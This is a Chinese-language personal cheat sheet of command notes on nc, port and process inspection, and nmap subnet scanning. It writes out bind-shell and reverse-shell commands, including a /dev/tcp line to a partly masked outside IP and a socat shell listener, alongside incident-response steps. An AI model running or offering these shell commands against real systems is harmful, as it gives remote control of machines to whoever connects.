命令的熟悉

命令

nc、ls、待补充

nc:

​ 常用:

1
2
3
4
5
6
#正向连接
nc -l -p 6666 -e "/bin/bash -i"
nc -l -p 6666 -e /bin/bash 2>&1
#反向连接
bash -i > /dev/tcp/81.X.X.X/6666 0>&1 2>&1

1
2
3
4
5
6
7
#只允许192.168.1.100连接

nc -l -p 6666 -e "/bin/bash -i" -s 192.168.1.100

#监听并记录访问者信息

nc -l -p 8080 -v 2>&1 | tee -a access.log
用途 命令示例 说明
临时聊天 nc -l -p 8080 + nc <IP> 8080 双向文本通信
文件传输(发送→接收) nc -l -p 8080 > file + nc <IP> 8080 < file 替代SCP/FTP
反向Shell nc -l -p 8080 -e /bin/bash + nc <IP> 8080 高风险!仅测试用
端口扫描 nc -zv <IP> 8080 检查端口状态
HTTP调试 nc -l -p 8080 + curl http://<IP>:8080 查看原始HTTP请求
TCP代理 `nc -l -p 8080 nc <目标IP> 80`
十六进制调试 `nc -l -p 8080 hexdump -C`
持久监听 while true; do nc -l -p 8080; done 支持多次连接
SSL加密通信 ncat -l -p 8080 --ssl + ncat <IP> 8080 --ssl 需安装ncat

注:nc -l -p 8080 -e “/bin/bash -i” //j交互模式

​ nc -l -p 8080 -e “/bin/bash -i 2>&1” //全回显,2>&1 表示将 标准错误(stderr) 重定向到 标准输出(stdout),确保错误信息也能回显。

需求 命令
简单回显(nc nc -l -p 8080 -e "/bin/bash -i 2>&1"
完整终端支持(nc nc -l -p 8080 -e "script -q -c '/bin/bash -i' /dev/null 2>&1"
最佳兼容性(socat socat TCP-LISTEN:8080,reuseaddr,fork EXEC:"/bin/bash -i",pty,stderr

应急:

1
2
3
4
5
6
7
8
9
10
11
# 查找 nc 进程
ps aux | grep 'nc -l'

# 直接用 pkill 终止所有 nc 进程
pkill -f 'nc -l'

# 杀死进程(假设进程ID是 12345)
kill 12345

# 或者强制杀死
kill -9 12345

ls:

1
2
3
4
5
6
7
#查看异常连接
netstat -ano | grep ':8080'
ss -tulnp | grep ':8080'

#查看端口占用
lsof -i :8080

步骤 命令 用途
1. 查找占用 8080 的 PID `sudo ss -tulnp grep ‘:8080’sudo lsof -i :8080`
2. 定位可执行文件 sudo ls -l /proc/<PID>/exesudo readlink -f /proc/<PID>/exe 找到程序的真实路径
3. 检查工作目录 sudo ls -l /proc/<PID>/cwd 查看程序运行时的工作目录

nmap:

扫描c段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#基础命令--列出存活主机及其开放端口(默认扫描 1000 个常用端口)
nmap 192.168.1.0/24

#快速扫描
nmap -sn 192.168.1.0/24

#扫描c段存活的全部端口
nmap -p 1-65535 -T4 -A -v 192.168.1.0/24

-sV:探测服务版本

--open:仅显示开放端口

-oN:输出文本报告